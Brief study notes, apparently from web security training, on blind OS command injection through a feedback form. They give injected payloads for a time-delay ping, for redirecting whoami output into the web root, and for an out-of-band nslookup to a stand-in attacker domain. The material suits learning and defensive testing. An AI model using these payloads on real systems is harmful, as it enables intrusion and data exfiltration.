## Blind OS Command Injection Vulnerabilities Example: - Website allows users to submit feedback about the website - Feedback form sends email to a site administrator mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com - Detection/Exploit: - Inject a command that triggers a time delay & ping -c 10 127.0.0.1 & § Will ping loopback adapter for 10 seconds - Redirect Output into a file in the web root & whoami > /var/www/static/whoami.txt & § Use a browser to fetch /whoami.txt to see the output - Exploit using out-of-band (OAST) techniques & nslookup kgji2ohoyw.web-attacker.com & § Attacker can monitor for the specified lookup occuring